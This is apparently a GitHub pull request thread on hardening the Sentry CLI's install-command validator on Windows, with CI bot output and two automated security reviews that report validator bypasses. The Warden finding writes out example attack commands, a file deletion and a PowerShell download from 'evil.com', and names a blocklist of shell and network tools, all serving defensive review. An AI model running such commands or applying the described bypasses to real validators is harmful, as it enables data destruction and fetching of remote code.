fix(init): harden install command execution

[betegon]

Summary

Hardens the local sentry init command runner for install recovery. Windows now only uses shell execution for resolved .cmd/.bat shims, while regular .exe commands stay shell-free. The validator also blocks recursive Sentry setup variants and Windows shell expansion characters without adding a package-manager allowlist.

Test Plan

• pnpm exec vitest run test/lib/init/tools/run-commands.test.ts test/lib/init/tools/run-commands-spawn.mocked.test.ts
• pnpm exec biome check --no-errors-on-unmatched src/lib/init/tools/command-utils.ts src/lib/init/tools/run-commands.ts test/lib/init/tools/run-commands.test.ts test/lib/init/tools/run-commands-spawn.mocked.test.ts
• pnpm run generate:schema && pnpm run test:changed — 89 files passed, 2056 tests passed, 7 skipped

[github-actions]

PR Preview Action v1.8.1
🚀 View preview at https://cli.sentry.dev/_preview/pr-1045/
Built to branch gh-pages at 2026-06-01 20:11 UTC. Preview will be ready when the GitHub Pages deployment is complete.

[github-actions]

Codecov Results 📊

✅ Patch coverage is 96.23%. Project has 4290 uncovered lines.
✅ Project coverage is 82.09%. Comparing base (base) to head (head).

Files with missing lines (1)

File	Patch %	Lines
src/lib/init/tools/command-utils.ts	95.65%	⚠️ 2 Missing and 4 partials

Coverage diff

@@            Coverage Diff             @@
##          main       #PR       +/-##
==========================================
+ Coverage    81.98%    82.09%    +0.11%
==========================================
  Files          329       329         —
  Lines        23883     23958       +75
  Branches     15603     15682       +79
==========================================
+ Hits         19581     19668       +87
- Misses        4302      4290       -12
- Partials      1651      1653        +2

---

Generated by Codecov Action

[sentry-warden]

BLOCKED_EXECUTABLES can be bypassed on Windows via cmd.exe or powershell.exe indirection (src/lib/init/tools/command-utils.ts:65)

Windows shell interpreters cmd, powershell, and pwsh are absent from BLOCKED_EXECUTABLES, so a command like cmd.exe /c del sensitive_file passes all validation: no shell metacharacter, first token normalizes to "cmd" which is not blocked, and the del token is never checked against the blocklist because only the first token is validated.

Evidence

• validateCommand calls normalizeExecutableName(firstToken) and checks only that against BLOCKED_EXECUTABLES (line 307-308).
• normalizeExecutableName("cmd.exe") strips the .exe extension and returns "cmd", which is not present in BLOCKED_EXECUTABLES.
• Tokens like del, curl, wget, bash appear at positions >0 and are never checked, so cmd.exe /c del secrets.txt or powershell.exe -Command Invoke-WebRequest http://evil.com pass validation and are executed by spawn with shell: false in runSingleCommand.
• cd, pushd, popd were just added to the blocklist in this hunk, confirming the intent to block indirect shell builtins, but cmd/powershell/pwsh were not added.

_{Identified by Warden security-review}

[betegon]

Fixed the Windows shell-interpreter bypass in 56e1237a by blocking cmd, powershell, and pwsh after executable normalization. Added validation regressions for cmd.exe, path-prefixed cmd.exe, powershell.exe, and pwsh.

[cursor]

Cursor Bugbot has reviewed your changes and found 1 potential issue.

^{❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.}

^{Reviewed by Cursor Bugbot for commit f05a4a3. Configure here.}

[cursor]

Option-value args bypass recursive setup detection

Medium Severity

findFirstNonOptionIndex skips tokens starting with - but doesn't account for options that consume a separate value argument. This lets commands like npx -p innocuous-pkg @sentry/wizard -i nextjs or npm exec --package lodash @sentry/wizard bypass isRecursiveSentrySetup, because the option's value (e.g. lodash) is misidentified as the execution-position token, causing the actual sentry wizard token at the next index to be ignored by canExecuteToken.

Additional Locations (1)

• src/lib/init/tools/command-utils.ts#L151-L172

 

^{Reviewed by Cursor Bugbot for commit f05a4a3. Configure here.}